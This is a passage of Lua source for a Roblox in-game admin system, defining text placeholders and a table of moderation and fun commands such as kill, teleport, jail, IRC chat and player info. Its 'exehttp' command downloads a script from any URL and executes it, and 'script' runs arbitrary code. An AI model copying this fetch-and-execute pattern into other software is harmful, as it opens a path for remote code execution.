 	{"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
 	{"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
 
 	{{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
 	{{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
 	{{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
 	{"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
 	{"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
 	{{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
 
 	{"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
 	{"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
 	{"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
 	{"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
 	{"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
 	{"_NAME", "player's username", true, function(Player) return Player.Name end};
 	{"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
 	{"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
 	{"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
 	{{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
 	{"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
 	{"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
 	{"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
 	{"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
 	{"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
 	{{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
 }
 
 ---- COMMANDS ----
 
 -- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
 
 Commands = { -- can't make local
 	[{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
 		print("[MML's Admin]: Test message from "..Speaker.Name)
 		GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
 	end};
 
 	[{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				Player.Character:BreakJoints()
 			end
 		end
 	end};
 
 	[{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				Instance.new("ForceField", Player.Character)
 			end
 		end
 	end};
 
 	[{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				for _,Get in pairs(Player.Character:GetChildren()) do
 					if Get:IsA("ForceField") then
 						Get:Destroy()
 					end
 				end
 			end
 		end
 	end};
 
 	[{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
 		end
 	end};
 
 	[{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
 		end
 	end};
 
 	[{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
 		end
 	end};
 
 	[{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
 		end
 	end};
 
 	[{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
 		end
 	end};
 
 	[{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local AgeList = {}
 		for _,Player in pairs(Players) do
 			table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
 		end
 		GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
 	end};
 
 	[{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local AgeList = {}
 		for _,Player in pairs(Players) do
 			table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
 		end
 		local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
 		for _,Player in pairs(SecondPlayers) do
 			GUI:ListGui(Player, "Player Ages", AgeList, "Time")
 		end
 	end};
 
 	[{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		local Storage = {{}, {}, {}, {}}
 		local StorageText = {}
 		local Formatted = {}
 		for CommandNames,Data in pairs(Commands) do
 			if not Data.Hidden then
 				local RankNeeded = RANK:ConvertRank(Data[4])
 				local Add = ""
 				if Data[4] == "Non-Admin" then Add = "BLACK " end
 				if Data[4] == "Admin" then Add = "CYAN " end
 				if Data[4] == "Member" then Add = "BLUE " end
 				if Data[4] == "Owner" then Add = "BROWN " end
 				if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
 				local AddBet = Settings.Bet
 				if Data[3] <= 0 then AddBet = "" end -- for commands with no args
 				local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
 				table.insert(Storage[RankNeeded + 1], Add..Text)
 				StorageText[Text] = CommandNames
 			end
 		end
 		for Num,_ in pairs(Storage) do
 			table.sort(Storage[Num])
 		end
 		for _,Table in pairs(Storage) do
 			for _,Command in pairs(Table) do
 				table.insert(Formatted, Command)
 			end
 		end
 		local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
 		Clicked.Event:connect(function(Text)
 			GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
 		end)
 	end};
 
 	[{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
 		GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
 	end};
 
 	[{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		if GUI:GetColor(Arguments[1]) then
 			local ColorScheme = string.upper(Arguments[1])
 			if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
 			Settings.ColorScheme = ColorScheme
 			GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
 		else
 			GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
 		end
 	end};
 
 	[{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local List = {}
 		for Color,_ in pairs(Colors) do
 			table.insert(List, Color.." "..Color)
 		end
 		GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
 	end};
 
 	[{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Transparency = tonumber(Arguments[1])
 		if Transparency then
 			if Transparency > 90 then Transparency = 90 end
 			if Transparency < 10 then Transparency = 10 end
 			Settings.TransparencyScheme = Transparency/100
 
 			GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
 		else
 			GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
 		end
 	end};
 
 	[{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		if Fonts[Arguments[1]] then
 			Settings.Font = Arguments[1]
 			GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
 		end
 	end};
 
 	[{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Settings.Fun = not Settings.Fun
 		GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
 	end};
 
 	[{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Settings.DisableAbuse = not Settings.DisableAbuse
 		GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
 	end};
 
 	[{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
 		local List = {}
 		for Font,_ in pairs(Fonts) do
 			if Font == Settings.Font then
 				table.insert(List, Font.." "..Font.."  (CURRENT FONT)")
 			else
 				table.insert(List, Font.." "..Font)
 			end
 		end
 		GUI:ListGui(Speaker, "Font list", List, 44453197)
 	end};
 
 	[{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local SoundID = tonumber(Arguments[1])
 		if SoundID then
 			Settings.ExecuteNotificationSound = SoundID
 
 			GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
 		else
 			GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
 		end
 	end};
 
 	[{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		Settings.ExecuteNotificationSound = 0
 	end};
 
 	[{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
 		end
 	end};
 
 	[{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, 13416513, false, Speaker)
 		end
 	end};
 
 	[{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			coroutine.wrap(function()
 				CORE:ChangeCharacter(Player, 38837082, false, Speaker)
 				wait(1)
 				GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
 			end)()
 		end
 	end, Hidden = true};
 
 	[{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
 		end
 	end};
 
 	[{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeName(Player, Arguments[2])
 		end
 	end};
 
 	[{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				local Head = Player.Character:FindFirstChild("Label")
 				if Head then Head:Destroy() end
 				local Head = Player.Character:FindFirstChild("Head")
 				if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
 			end
 		end
 	end};
 
 	[{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, 11397, false, Speaker)
 		end
 	end};
 
 	[{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum <= RANK:ConvertRank(Rank) then
 				Server.TS:Teleport(Arguments[2], Player)
 			end
 		end
 	end};
 
 	[{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
 		if Suc then
 			for _,Player in pairs(Players) do
 				Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
 			end
 		else
 			GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
 		end
 	end};
 
 	[{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
 			local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
 			if Suc then
 				for _,Player in pairs(Players) do
 					Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
 				end
 			else
 				GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
 			end
 		end)
 	end};
 
 	[{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum < RANK:ConvertRank(Rank) then
 				Server.TS:Teleport(155307015, Player)
 			end
 		end
 	end};
 
 	[{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local _,RankNum = RANK:GetRank(Player)
 			if RankNum < RANK:ConvertRank(Rank) then
 				Server.TS:Teleport(347911447, Player)
 			end
 		end
 	end};
 
 	[{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:GenerateShield(Player)
 		end
 	end};
 
 	[{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player.Character then
 				local Shield = Player.Character:FindFirstChild("Shield")
 				if Shield then Shield:Destroy() end
 			end
 		end
 	end};
 
 	[{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Num = tonumber(Arguments[1])
 		if Num and Num ~= 0 then
 			local Random = math.random(1,math.abs(Num))
 			if Random == math.random(1,math.abs(Num)) then
 				GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
 			else
 				GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
 			end
 		else
 			GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
 		end
 	end};
 
 	[{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
 		IRC:AddChat(Speaker.Name, Arguments[1])
 	end};
 
 	--[[
 	[{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
 		if Res then
 			GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
 		end
 	end, Http = true};
 
 	[{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
 		if Res then
 			GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
 		end
 	end}, Http = true;
 	]]
 
 	[{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		IRC:Quit("Reconnecting")
 		IRC:ConnectToServer(Settings.IRCServer)
 	end};
 
 	[{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local PreAdd = {}
 			for _,Data in pairs(IRC.Chats) do
 				local Error = nil
 				if Rank == "Owner" then Error = Data[3] end
 				table.insert(PreAdd, {Data[1], Data[2], Error})
 			end
 			local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
 			IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
 				if Rank ~= "Owner" then Error = nil end
 				AddMessage:Invoke(UserName, Message, Error)
 			end)
 			SendPressed.Event:connect(function(Text)
 				IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
 				IRC:AddChat(Player.Name, Text)
 			end)
 		end
 	end};
 
 	[{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
 				if Type == "Leave" then
 					PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
 				elseif Type == "Join" then
 					PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
 				end
 			end)
 			PriChat.Chatted.Event:connect(function(UserName, Message)
 				AddMessage:Invoke(UserName, Message)
 			end)
 			SendPressed.Event:connect(function(Text)
 				PriChat.Chatted:Fire(Player.Name, Text)
 				table.insert(PriChat.Chats, {Player.Name, Text})
 			end)
 		end
 	end};
 
 	[{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		ExecuteSafe(Arguments[1], Speaker)
 	end};
 
 	[{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Script = REMOTE:GetURL(Arguments[1], Player)
 		if Script then
 			ExecuteSafe(Script, Speaker)
 		end
 	end, Http = true};
 
 	[{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Time = tick()
 		local Res = REMOTE:GetURL(Arguments[1], Player)
 		if Res then
 			GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
 		end
 	end, Http = true};
 
 	[{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
 		CORE:RemoveAdmin(Speaker)
 	end};
 
 	[{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		for _,Player in pairs(Server.Players:GetPlayers()) do
 			GUI:SendHint(Player, Arguments[1], nil, Speaker)
 		end
 	end};
 
 	[{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Debt = nil
 		for _,Player in pairs(Players) do
 			if not Debt then
 				Debt = GUI:ShowDebtStats(Player)
 			else
 				GUI:ShowDebtStats(Player, Debt)
 			end
 		end
 	end, Http = true};
 
 	[{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			GUI:CreateHUD(Player)
 		end
 	end};
 
 	[{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			if Player:FindFirstChild("PlayerGui") then
 				local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
 				if HUD then HUD:Destroy() end
 			end
 		end
 	end};
 
 	[{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		GUI:Vote(Speaker, Players, Arguments[2], 30)
 	end};
 
 	[{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ExecuteResource("Bomb", Player.Character)
 		end
 	end};
 
 	[{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
 			CORE:RestoreCamera(Player)
 		end
 	end};
 
 	[{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
 		CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
 		CORE:RestoreCamera(Speaker)
 	end};
 
 	[{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
 		local Players1 = STRING:Scan(Arguments[1], Speaker)
 		local Players2 = STRING:Scan(Arguments[2], Speaker)
 		for _,Player1 in pairs(Players1) do
 			if Player1.Character and Player1.Character:FindFirstChild("Torso") then
 				for _,Player2 in pairs(Players2) do
 					if Player2.Character and Player2.Character:FindFirstChild("Torso") then
 						Player1.Character:MoveTo(Player2.Character.Torso.Position)
 					end
 				end
 			end
 		end
 	end};
 
 	[{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			Player:LoadCharacter()
 		end
 	end};
 
 	[{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:RestoreCamera(Player)
 		end
 	end};
 
 	[{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:Jail(Player)
 		end
 	end};
 
 	[{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		for _,Player in pairs(Players) do
 			CORE:UnJail(Player)
 		end
 	end};
 
 	[{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
 		SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
 	end};
 
 	[{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
 		SOUND:StopSpeaking()
 	end};
 
 	[{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
 		local Players = STRING:Scan(Arguments[1], Speaker)
 		local Compile = {}
 		for Num,Player in pairs(Players) do
 			local PlayerRank = RANK:GetRank(Player)
 			local PlayerInfo = ClientInfo[Player.Name]
 			table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
 			table.insert(Compile, "User ID: "..Player.UserId)
 			table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
 			table.insert(Compile, "Rank: "..PlayerRank)
 
 			if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
 			if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
 			if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
 			if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
 			if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
 			if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
 			if PlayerInfo.Benchmark then
 				table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
 			end
 			if Num ~= #Players then table.insert(Compile, "-----------------------------") end
 		end
 		GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
 	end};
 
